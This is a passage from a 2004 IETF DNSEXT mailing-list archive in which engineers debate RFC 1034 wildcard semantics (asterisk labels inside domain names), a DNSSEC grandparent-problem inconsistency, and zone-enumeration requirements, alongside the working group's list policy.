2004 12:01:50 EDT." <a0602040bbd808b0ce5af@[192.136.136.113]> X-Organization: Uni Bielefeld, Technische Fakultaet X-Phone: +49 521 106 2902 Content-ID: <26710.1096546439.1@grimsvotn.TechFak.Uni-Bielefeld.DE> Precedence: bulk Hi Ed, > Does the slave server note this in logs? nothing we should worry about. I'd like a server to do so, but that's up to the choice of the implementor. > (Or) Does the slave server press this zone into service as if the > above is legal (wrt RFC 1034, 4.3.3)? Yes, since we haven't found a good reason for ``<anydomain> should not contain other * labels''. > Does the slave server recognize that *.example. is a Wild Card Domain > Name (even if there is no other *.example. entry)? Sure, why should the slave behavior differ from the master's? > What I sense from the group is: > > *.foo.*.example. is confusing so operators SHOULD NOT use it. agreed. > *.foo.*.example. MUST be allowed (anticipated) in a query. > *.foo.*.example. MUST be allowed to exact match "itself." If one follows the algorithm outlined in 4.3.2, no special treatment is needed. However, with regards to kre, a "MUST be allowed (anticipated) in a query" might conflict with ``check-names'' like features, which have nothing to do with wildcards, but lot to do with A or AAAA queries. So, in general, they should be allowed but I'd rather not see this as an argument that '*' must be accepted in a ``hostname''. > What's still knocking me around is whether we need to make it clear that: > > Implementations ought to anticipate such a name, and make the name act > like a Wild Card Domain Name should - all the while we tell operators > to not bother using it. We've found some oddities which might be best listed in an appendix as kind of implementors guide or checklist. The inner '*' is one of them. -Peter -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:08 2006 From: Samuel Weiler <weiler@tislabs.com> Subject: bis inconsistency: grandparent problem Date: Thu, 30 Sep 2004 13:47:45 -0400 (EDT) Lines: 17 Sender: owner-namedroppers@ops.ietf.org References: <a0602040bbd808b0ce5af@[192.136.136.113]> Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Cc: dnssec-editors@east.isi.edu X-From: owner-namedroppers@ops.ietf.org Thu Sep 30 20:02:25 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-X-Sender: weiler@filbert To: namedroppers@ops.ietf.org In-Reply-To: <a0602040bbd808b0ce5af@[192.136.136.113]> Precedence: bulk -protocol section C.8 suggests using explicit DS queries to get around the grandparent problem. Section 4.2 of the same document suggests using NS queries. These are worded as suggestions, not instructions; there's no 2119 language here. 1) Do we know that NS queries work? (No wierd caching effects, no confusion over authoritative v. glue NSset?) 2) Should the doc be changed to be self-consistent? -- Sam -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:08 2006 From: "Scott Rose" <scottr@nist.gov> Subject: RE: bis inconsistency: grandparent problem Date: Thu, 30 Sep 2004 14:16:14 -0400 Lines: 37 Sender: owner-namedroppers@ops.ietf.org References: <Pine.GSO.4.55.0409301343200.26585@filbert> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Cc: <dnssec-editors@east.isi.edu> X-From: owner-namedroppers@ops.ietf.org Thu Sep 30 20:33:55 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: "Samuel Weiler" <weiler@tislabs.com>, <namedroppers@ops.ietf.org> X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 Importance: Normal In-Reply-To: <Pine.GSO.4.55.0409301343200.26585@filbert> X-NIST-MailScanner: Found to be clean X-MailScanner-From: scottr@nist.gov Precedence: bulk >From my reading, Section C.8 talks about DS queries, but Section 4.2 talks about finding the name servers (NS set) to ask in order to get the DS RRset you are really looking for. If I am looking for the DS RR of foo.example.com., I need to know the NS of example.com. first, then ask for "foo.example.com. IN DS". Scott. > -----Original Message----- > From: owner-dnssec-editors@east.isi.edu > [mailto:owner-dnssec-editors@east.isi.edu]On Behalf Of Samuel Weiler > Sent: Thursday, September 30, 2004 1:48 PM > To: namedroppers@ops.ietf.org > Cc: dnssec-editors@east.isi.edu > Subject: bis inconsistency: grandparent problem > > > -protocol section C.8 suggests using explicit DS queries to get around > the grandparent problem. Section 4.2 of the same document suggests > using NS queries. These are worded as suggestions, not instructions; > there's no 2119 language here. > > 1) Do we know that NS queries work? (No wierd caching > effects, no confusion over authoritative v. glue NSset?) > > 2) Should the doc be changed to be self-consistent? > > -- Sam > -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:08 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: another's view on zone enum & on-line signing Date: Wed, 22 Sep 2004 23:11:46 +0700 Lines: 35 Sender: owner-namedroppers@ops.ietf.org References: <16B3CD5DBBBFFC13C2F51E0B@[192.168.0.16]> <a06020404bd77033feb0a@[193.0.8.231]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 22 18:23:42 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Alex Bligh <alex@alex.org.uk> In-Reply-To: <16B3CD5DBBBFFC13C2F51E0B@[192.168.0.16]> Precedence: bulk Date: Wed, 22 Sep 2004 16:01:29 +0100 From: Alex Bligh <alex@alex.org.uk> Message-ID: <16B3CD5DBBBFFC13C2F51E0B@[192.168.0.16]> | - i.e. those registries operating | in the "interests of the local community" etc. can, at a legal level | control the use of zonefile contents; i.e. it is worth fighting about the | technical element. This is exactly backwards. If one were to assume that the registry wanted to control distribution (and should be assisted in doing so, which I don't agree with in this case, but ignore that for now), but had no legal protection available (there was no copyright) then relying on keeping things secret might be the only method available - and so seeking technical means to do that would be worthwhile. But the whole point of copyright protection, is so that information can be made easily available to everyone, without the author of the information losing their rights to it. We don't expect newspapers (or books) to get printed on magic ink that doesn't work with photocopiers - the publisher (or writer, or someone) has copyright - that restricts the making of copies, inventing silly and expensive technical means to do the same thing isn't justified (especially since every time that's been attempted - consider DVDs - it turns into a farce). kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/>

From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Olaf Kolkman Subject: DNSEXT list policy Date: Wed, 1 Sep 2004 08:35:01 +0200 Lines: 193 Sender: owner-namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 01 08:54:51 2004 Return-path: To: namedroppers@ops.ietf.org X-RIPE-Spam-Level: X-RIPE-Spam-Status: U 0.497126 / 0.0 / 0.0 / disabled X-RIPE-Signature: 117a64ad8135478299571518892c1aed Precedence: bulk - List Purpose namedroppers@ops.ietf.org is the mailing list for the IETF DNSEXT working group. See for the wg charter. Messages should be on topics appropriate to the dnsext wg, which are various discussion of the DNS protocols or administrivia of the WG itself. - Specific items that are not not appropriate for posting Calls for papers, announcements of events not directly relevant to the DNS protocols, etc. are not appropriate. Discussion of problems with particular implementations, announcements of releases, sites' misconfigurations, pleas for help with specific implementations, etc. should be done on mailing lists for the particular implementations. There is a working group for dns operational practice, DNSOP, whose charter can be found at . Items relevant to the DNSOP charter are to be discussed on the DNSOP mailinglist. Discussion about the quality of implementations is outside the scope of this list. - Moderation Moderation is based on "subscriber-only with spam filter". To counter a certain class of spam mails messages over 20000 characters, originating from list subscribers, will be held for moderations. Questions or concerns related to the acceptance or rejection of specific messages to the namedroppers mailing list should first be discussed with the wg chairs, with followup appeals using the normal appeals process of rfc 2026 (i.e. follup with area directors, then iesg, etc.). There is a mailing list for the discussion of ietf processes, which includes any general discussion of the moderation of ietf mailing lists. it is poised@lists.tislabs.com - Issue Tracker As of October 2003 this group will use an issue tracker. This is to better organize the work-flow, maintain overview over, and focus the discussions to the working group documents. Please stick to the following procedure when discussing working group work documents. == The system The issue tracker can be found at: https://roundup.machshav.com/dnsext/index The chairs are responsible for maintaining the data in the issue tracker. That task may be delegated to document editors. If a document editor prefers other tracking systems they are free to coordinate that with the chairs. == Creating a new issue. New Issue tickets are only created for working group document. If you have an issue a document please sent in a mail with a subject header of the following format ISSUE: Where <NAME> is taken from the I-D's file name draft-ietf-dnsext-<name>-<version> and the <title> is a short description of the issue presented. Please use the following template to submit an issue: To: namedroppers@ops.ietf.org Cc: document-editor@foo.example Subject: FOO-RR-PROCESSING ISSUE: BLA-bit vs FOO-flag interop problem One line description of issue name: Your_Name_Here email: Your_Email_Address_Here Date: Insert_Date_Here Reference: URL to e-mail describing problem, if available Type: ['T'echnical | 'E'ditorial] Priority: ['C'ritical | 'U'rgent | 'B'ug | 'F'eature | 'W'ish ] Document: draft-ietf-dnsext-<name>-<version> Section: Insert_Section_Number_Here Rationale/Explanation of issue: Length description of problem Requested change: Proposal The proposal for the requested change is the most important bit of the issue. Providing a proposed text will focus discussion and relieves the document-editors. A new issue MUST therefore contain a text in the 'requested change' field. Once a new "ISSUE" message is received on the list the chairs or document editors will add the issue to the document tracker and reply to the list providing a URL and a relevant issue identifier. == Discussion of issues. Discussion of issues takes place on the list. Please reply 'in-thread' when discussing an issue and try to stay within scope of the issue at hand. The chairs or the document editors will copy relevant messages, or abstracts thereof to the issue tracker so that the gist of the discussion can be followed using the tracker. There may be a few days lag between the list and the tracker. The archive remains the authoritative log for the discussion. == Bouncing of issues The chairs may decide not to create a entry in the issue tracker if an issue does not relate to a working group document; the issue has already been discussed and the issue has been closed; if there is no proposed change or; if the issue is irrelevant to any of the working group documents. == Discussion of matters not in the issue tracker. Feel free to bring up matters that are not related to working group documents (but appropriate to the group); they do not need an issue tracking number. == Closing of issues. Chairs or document editors will close issues once resolved. In the tracking system a note will be made in which document version the issue was resolved. --- NOTE WELL: All statements related to the activities of the IETF and addressed to the IETF are subject to all provisions of Section 10 of RFC 2026, which grants to the IETF and its participants certain licenses and rights in such statements. Such statements include verbal statements in IETF meetings, as well as written and electronic communications made at any time or place, which are addressed to - the IETF plenary session, - any IETF working group or portion thereof, - the IESG, or any member thereof on behalf of the IESG, - the IAB or any member thereof on behalf of the IAB, - any IETF mailing list, including the IETF list itself, any working group or design team list, or any other list functioning under IETF auspices, - the RFC Editor or the Internet-Drafts function Statements made outside of an IETF meeting, mailing list or other function, that are clearly not intended to be input to an IETF activity, group or function, are not subject to these provisions. ---------------------------------------------------------------------- $Id: dnsext-list-policy.txt,v 1.7 2004/05/17 12:46:38 olaf Exp $ -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: "Olaf M. Kolkman" <olaf@ripe.net> Subject: Re: dictionary attack on nameservers Date: Wed, 1 Sep 2004 11:14:52 +0200 Organization: RIPE NCC Lines: 47 Sender: owner-namedroppers@ops.ietf.org References: <20040728190530.GA22758@atoom.net> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-From: owner-namedroppers@ops.ietf.org Wed Sep 01 11:26:42 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org In-Reply-To: <20040728190530.GA22758@atoom.net> X-Mailer: Sylpheed version 0.9.11 (GTK+ 1.2.10; i686-pc-linux-gnu) X-RIPE-Spam-Level: X-RIPE-Spam-Status: N 0.000000 / 0.0 / 0.0 / disabled X-RIPE-Signature: 19889153d8b9c30a04e982552768966c Precedence: bulk Dear Colleagues, I returned from vacation and saw that this thread, and the related "What I mumbled at the mike today" had developed during my absense. I started reading it with the intention to make an abstract of the discussion. The shear amount of side tracks and circles in arguments make this virtually impossilbe. I counted 191 messages with a total of 15127 lines (including headers). I want to close this thread by giving every participant the opportunity to state their concluding argument in not more than 20 lines of text. Please make an abstract of your own concluding arguments (some people may have changed their opinions) please do not start discussing these arguments again. If you can phrase your arguments as a set of (measurable) requirements for further protocol development that would be fab. Note that we are trying to take the work on preventing zone enumeration seriously and that we are trying to get the requirements done. At least one of the messages burried in the thread was relevant to that and didn't get any followup. Also read: http://ops.ietf.org/lists/namedroppers/namedroppers.2004/msg01237.html I am trying to get something sensible out of this that will allow us to go forward or, if needed, conclude, in a decent fashion. -- Olaf DNSEXT Co-Chair. ---------------------------------| Olaf M. Kolkman ---------------------------------| RIPE NCC -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Edward Lewis <edlewis@arin.net> Subject: wild cards Date: Wed, 1 Sep 2004 11:56:47 -0400 Lines: 56 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: edlewis@arin.net X-From: owner-namedroppers@ops.ietf.org Wed Sep 01 18:13:30 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 To: namedroppers@ops.ietf.org Precedence: bulk Yes, I'm actually spending time on the draft... I have a question relating to what's a legal name. Yea, I've asked this before, a few months ago. But the answer I got then does not agree with what's in the minutes for the last (err, most recent?) meeting of the WG in Minneapolis. Here is a message from the list (June 2): http://ops.ietf.org/lists/namedroppers/namedroppers.2004/msg00810.html Here is what is said in the minutes (Minneapolis, Nov 2003): http://ops.ietf.org/lists/namedroppers/namedroppers.2003/msg02219.html, specifically - >Issue (4b): Whether or not "*" can be in the middle of a name. There >was no discussion in the room on this one. The basic issue is that >the draft goes to great length to talk about how this is handled. >Later on, someone noticed that 1034 discourages this. > > >Although there is no sentiment to allow these names, nor is there any common >use, if the names are barred as in 1034, then more rules are needed to >specify what happens when they are (mistakenly?) seen. If the rules aren't >specified then behavior is unpredicatable - perhaps in ways that don't >matter very much. > >An older mail list discussion leaned toward staying with 1034's definition. In RFC 1034, this is, as far as I can tell, the definition: # The owner name of the wildcard RRs is of # the form "*.<anydomain>", where <anydomain> is any domain name. # <anydomain> should not contain other * labels, and should be in the # authoritative data of the zone. So, should I take this to mean that: a.*.example.com is legal and *.example.com synthesizes records *.*.example.com is illegal and "is an error" (on load of zone/dynamic update)? *.*.example.com is discouraged, as in "SHOULD NOT" (2119 - 1034 > 0) -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: wild cards Date: Thu, 02 Sep 2004 11:35:31 +1000 Lines: 75 Sender: owner-namedroppers@ops.ietf.org References: <a06020407bd5b9bc9d506@[192.168.1.100]> Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 03:51:40 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net> In-reply-to: Your message of "Wed, 01 Sep 2004 11:56:47 -0400." <a06020407bd5b9bc9d506@[192.168.1.100]> Precedence: bulk > Yes, I'm actually spending time on the draft... > > I have a question relating to what's a legal name. Yea, I've asked > this before, a few months ago. But the answer I got then does not > agree with what's in the minutes for the last (err, most recent?) > meeting of the WG in Minneapolis. > > Here is a message from the list (June 2): > > http://ops.ietf.org/lists/namedroppers/namedroppers.2004/msg00810.html > > Here is what is said in the minutes (Minneapolis, Nov 2003): > > http://ops.ietf.org/lists/namedroppers/namedroppers.2003/msg02219.html, > specifically - > > >Issue (4b): Whether or not "*" can be in the middle of a name. There > >was no discussion in the room on this one. The basic issue is that > >the draft goes to great length to talk about how this is handled. > >Later on, someone noticed that 1034 discourages this. > > > > > >Although there is no sentiment to allow these names, nor is there any common > >use, if the names are barred as in 1034, then more rules are needed to > >specify what happens when they are (mistakenly?) seen. If the rules aren't > >specified then behavior is unpredicatable - perhaps in ways that don't > >matter very much. > > > >An older mail list discussion leaned toward staying with 1034's definition. > > In RFC 1034, this is, as far as I can tell, the definition: > > # The owner name of the wildcard RRs is of > # the form "*.<anydomain>", where <anydomain> is any domain name. > # <anydomain> should not contain other * labels, and should be in the > # authoritative data of the zone. > > So, should I take this to mean that: > > a.*.example.com is legal and *.example.com synthesizes records > *.*.example.com is illegal and "is an error" (on load of zone/dynamic updat > e)? > *.*.example.com is discouraged, as in "SHOULD NOT" (2119 - 1034 > 0) I suspect the intent was to only allow "*" as the left most label. a.*.example.com and *.*.example.com would both be illegal if this was the case. Allowing a.*.example.com but disallowing *.*.example.com is stupid. You either allow both or disallow both. Mark > -- > -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- > Edward Lewis +1-703-227-9854 > ARIN Research Engineer > > "I can't go to Miami. I'm expecting calls from telemarketers." - > Grandpa Simpson. > > -- > to unsubscribe send a message to namedroppers-request@ops.ietf.org with > the word 'unsubscribe' in a single line as the message text body. > archive: <http://ops.ietf.org/lists/namedroppers/> -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Edward Lewis <edlewis@arin.net> Subject: more wild cards Date: Wed, 1 Sep 2004 21:48:42 -0400 Lines: 56 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: edlewis@arin.net X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 03:59:55 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 To: namedroppers@ops.ietf.org Precedence: bulk I've been looking at the text as it stands and the minutes of the meeting in Minneapolis. Besides the name question - 1) * SOA. The text goes to great lengths to say that this is doable in one sense, but in another sense it's stupid. I.e., Step 2 of the algorithm in RFC 1034 (sect 4.3.2) says "pick the zone". If you can generate zones on the fly, you do it here. The problem is, you really can't. Let's say you have example.com and *.example.com on the server. I ask for www.cnn.example.com. In step 2, you can't just generate cnn.example.com - because you don't know if there's an NS RR set for cnn.exmample.com in example.com. I.e., you'd have to do step 2, then step 3. If in step 3 you'd decide to send a referral, you would then have to go back to step 2 and generate. Now, I realize that the algorithm is a suggestion, that the sequential nature of step 2 and step 3 isn't strict - but I don't think the intent was to do step 2 - 3 - 2 (again) - 3 (again). I'm suggesting that we declare a * SOA to be an load/update error. 2) * NS. The text talks around this too, with the discussion being rather vague. But at the end of the meeting I recall someone say: "You have to be authoritative for the data to synthesize records, and if you see * NS, you are not in the authoritative zone." I forget who said it, it isn't in the minutes, but I think that's a sharp observation. (I didn't see it, and I have been staring at wild cards for some time now.) I'm suggesting that * NS be a load/update error. 3) * CNAME. From memory, we wanted to alter the algorithm to make this "chaseable" in the answer generation. I'm going to recover the text on this and put it in. There's a blurb about fixing DNAME, I'll do that. At this moment, I think that captures the main pending changes that I have questions about. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: "Olaf M. Kolkman" <olaf@ripe.net> Subject: Re: wild cards Date: Thu, 2 Sep 2004 10:17:13 +0200 Organization: RIPE NCC Lines: 40 Sender: owner-namedroppers@ops.ietf.org References: <a06020407bd5b9bc9d506@[192.168.1.100]> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 10:34:04 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net> In-Reply-To: <a06020407bd5b9bc9d506@[192.168.1.100]> X-Mailer: Sylpheed version 0.9.11 (GTK+ 1.2.10; i686-pc-linux-gnu) X-RIPE-Spam-Level: X-RIPE-Spam-Status: N 0.000020 / 0.0 / 0.0 / disabled X-RIPE-Signature: c5ef494c58a52fe9896101de2b1d8e50 Precedence: bulk > In RFC 1034, this is, as far as I can tell, the definition: > > # The owner name of the wildcard RRs is of > # the form "*.<anydomain>", where <anydomain> is any domain name. > # <anydomain> should not contain other * labels, and should be in the > # authoritative data of the zone. > > So, should I take this to mean that: > > a.*.example.com is legal and *.example.com synthesizes records That is not the way I read the Scripture. If a.*.example.com would have been legal I would have expected text like: [<anydomain>.]*.<anydomain> where anydomain is any domain name. > *.*.example.com is illegal and "is an error" (on load of > zone/dynamic update)? Is exactly what I would read. > *.*.example.com is discouraged, as in "SHOULD NOT" (2119 - 1034 > 0) But here you have my personal opinion. I wonder how implementors have interpreted the scripture. Are there any implementations that deal in one of the ways Ed described? That is synthesise the * in a.*.example.com? - Olaf (namedropper) -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: wild cards Date: Thu, 02 Sep 2004 20:48:49 +0700 Lines: 85 Sender: owner-namedroppers@ops.ietf.org References: <a06020407bd5b9bc9d506@[192.168.1.100]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 16:09:26 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net> In-Reply-To: <a06020407bd5b9bc9d506@[192.168.1.100]> Precedence: bulk Date: Wed, 1 Sep 2004 11:56:47 -0400 From: Edward Lewis <edlewis@arin.net> Message-ID: <a06020407bd5b9bc9d506@[192.168.1.100]> | a.*.example.com is legal and *.example.com synthesizes records | *.*.example.com is illegal and "is an error" (on load of zone/dynamic update)? | *.*.example.com is discouraged, as in "SHOULD NOT" (2119 - 1034 > 0) First answer is that there is no such thing as an "illegal" domain name (based upon content) - the only restrictions are on length. 1 character domain names are clearly legal, whatever the character (octet value really) is (including '\0' and '*'). You cannot refuse to load zones just because you don't like some of the names that are in it (well, you can, if that's what the owner of the domain wants - but not just because the software author prefers it that way, or not without the software being defective). Second part ... Wildcards are relevant only for domain name lookup - when looking up the name in a query, if no exact match is found, a search is done at the same level of the tree for a '*' label - if that one is found, it matches the entire rest of the query (no more searching happens). That makes things like *.*.example.com and a.*.example.com meaningless for this kind of query. If we assume there is no x.example.com in the zone, and I make a query for q.x.example.com any of the "wildcard" names in this message (my text or the quoted text) match it. That is, we're searching example.com for 'x', not found, search example.com for the '*' wildcard - found, that then matches the "q.x" part of the query, and we look no more. It is most certainly not the case that the existence of (just) a.*.example.com in a zone makes a lookup of a.x.example.com succeed, but one of b.x.example.com fail - if x.example.com matches the wildcard at all (there is no x.example.com in the zone) then a query for any sub-domain of x.example.com also matches the wildcard (the same wildcard). There is no way to limit that. Third part ... If we do a query for a.*.example.com we end up searching example.com for '*' not as a wildcard, but as a label, in this case we find it, just as a label, and go on to look for the sub-domain of *.example.com that we're querying ('a') in this case, in exactly the same manner that we would if the '*' was replaced (in both the query and the zone) by 'z'. Here, if a.*.example.com exists in the zone, then it matches the query, and the results are returned. If there's no a.*.example.com in the zone file, then we do a wildcard lookup (look for a '*' inside the *.example.com domain) and if that one exists, it provides the answers. If it doesn't, NXDOMAIN. All this stuff is really amazingly simple if you consider the name space as a tree, and always think of it that way, and then obey the 1034 lookup algorithm. It is only when you start to concentrate on zone file formats, and textual representations, that things start to look more complex and messy. So don't do that. Fourth part ... No-one can really count upon any of the implementations actually implementing all of these corner cases correctly (and certainly not all of them). So, for all practical purposes anything except a solitary '*' as the leftmost label in a name loaded into a zone file is simply going to produce random undefined results, and no-one should be doing such a thing (but that people shouldn't do it doesn't mean that the implementations should attempt to enforce that restriction). The best thing is to simply consider all this as "undefined behaviour". kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: "Loomis, Rip" <GILBERT.R.LOOMIS@saic.com> Subject: Zone enumeration, requirements, and security redux Date: Thu, 2 Sep 2004 09:57:28 -0400 Lines: 37 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: text/plain X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 16:10:22 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org X-Mailer: Internet Mail Service (5.5.2657.72) Precedence: bulk Previously, on 11 August, I sent a message to the list which can be seen at http://ops.ietf.org/lists/namedroppers/namedroppers.2004/msg01465.html Based on Olaf's last e-mail I wanted to summarize that message and talk about some other related issues (such as getting one agreed-upon definition for "security by obscurity") but I couldn't fit the full argument into 20 lines. I also wanted to make one last call for desirements and requirements related to NSEC/zone enumeration/etc--so that Ben and I can get a next draft of the collected requirements out for review and prioritization. Bottom line--I believe that a replacement for NSEC that does not provide for easy zone enumeration is both worthwhile (will make it easier to address both privacy and security concerns that DNS users will have) and realistic. I further believe that it *should* be possible to find a replacement for NSEC in parallel with an initial roll-out of DNSSECbis to several major zone. I only wish I'd whined more about NXT zone walking back in 1999, when I first decided that it might be a real stumbling block for DNSSEC acceptance. Comments on the above, and *any last requirements* requested. --Rip (And yes, I *still* went over 20 lines.) -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: wild cards Date: Thu, 2 Sep 2004 10:37:35 -0400 Lines: 174 Sender: owner-namedroppers@ops.ietf.org References: <a06020407bd5b9bc9d506@[192.168.1.100]> <25125.1094132929@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 16:52:43 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <25125.1094132929@munnari.OZ.AU> To: Robert Elz <kre@munnari.OZ.AU> Precedence: bulk At 20:48 +0700 9/2/04, Robert Elz wrote: > Date: Wed, 1 Sep 2004 11:56:47 -0400 > From: Edward Lewis <edlewis@arin.net> > Message-ID: <a06020407bd5b9bc9d506@[192.168.1.100]> > > | a.*.example.com is legal and *.example.com synthesizes records > | *.*.example.com is illegal and "is an error" (on load of >zone/dynamic update)? > | *.*.example.com is discouraged, as in "SHOULD NOT" (2119 - 1034 > 0) > >First answer is that there is no such thing as an "illegal" domain name >(based upon content) - the only restrictions are on length. 1 character >domain names are clearly legal, whatever the character (octet value really) >is (including '\0' and '*'). > >You cannot refuse to load zones just because you don't like some of the >names that are in it (well, you can, if that's what the owner of the >domain wants - but not just because the software author prefers it that >way, or not without the software being defective). It's true that there is no other restriction on a domain name other than label and total length. And 1034 does mention that the null label is reserved for the root - not the null name, but the null label. (So I think an encoding of "0x00 0x03 A B C" as illegal in the sense that the label "ABC" is trailing garbage.) This doesn't bar us from now defining domain names as illegal - keeping in mind that anytime we do something for the first time we run the risk of problems elsewhere. > > >Second part ... > >Wildcards are relevant only for domain name lookup - when looking up the >name in a query, if no exact match is found, a search is done at the same >level of the tree for a '*' label - if that one is found, it matches the >entire rest of the query (no more searching happens). > >That makes things like *.*.example.com and a.*.example.com meaningless >for this kind of query. That's not entirely clear to me. For the moment, let's assume there's no barring of *.*.example.com. Let's say we have there records (assuming IN class all the way): example.com SOA *.example.com A 1.1.1.1 *.*.example.com A 2.2.2.2 a.*.example.com A 3.3.3.3 Query for (*.example.com A) -> 1.1.1.1 is the return, exact match Query for (a.example.com A) -> 1.1.1.1 with closest encloser example.com Query for (a.*.example.com A) -> 3.3.3.3 exact match, I think. Query for (b.*.example.com A) -> 2.2.2.2 with closest encloser *.example.com Query for (b.a.example.com A) -> 1.1.1.1 with closest encloser example.com IOW - *.*.example.com creates a shadow between *.example.com and any subdomain of that name. Okay, RFC1034 forbids ("discourages") *.*.example.com. Let's strike it from the example. example.com SOA *.example.com A 1.1.1.1 a.*.example.com A 3.3.3.3 Query for (*.example.com A) -> no change from before Query for (a.example.com A) -> ditto Query for (a.*.example.com A) -> ditto Query for (b.*.example.com A) -> NXDOMAIN Query for (b.a.example.com A) -> no change from before There's a change for queries in the shadow of *.example.com - they become NXDOMAIN if not listed in the zone file. So - I wouldn't say they are "meaningless." >If we assume there is no x.example.com in the zone, and I make a query >for q.x.example.com any of the "wildcard" names in this message (my text >or the quoted text) match it. Not really - *.*.example.com isn't "*" + $closest_encloser. (*.example.com is). 